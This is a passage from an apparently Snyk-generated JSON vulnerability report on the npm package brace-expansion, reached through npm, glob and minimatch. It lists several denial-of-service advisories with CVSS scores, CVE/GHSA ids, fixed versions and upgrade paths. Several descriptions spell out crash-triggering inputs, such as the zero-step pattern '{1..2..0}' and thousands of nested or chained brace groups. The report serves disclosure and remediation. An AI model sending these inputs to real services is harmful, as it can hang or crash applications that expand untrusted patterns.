Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, 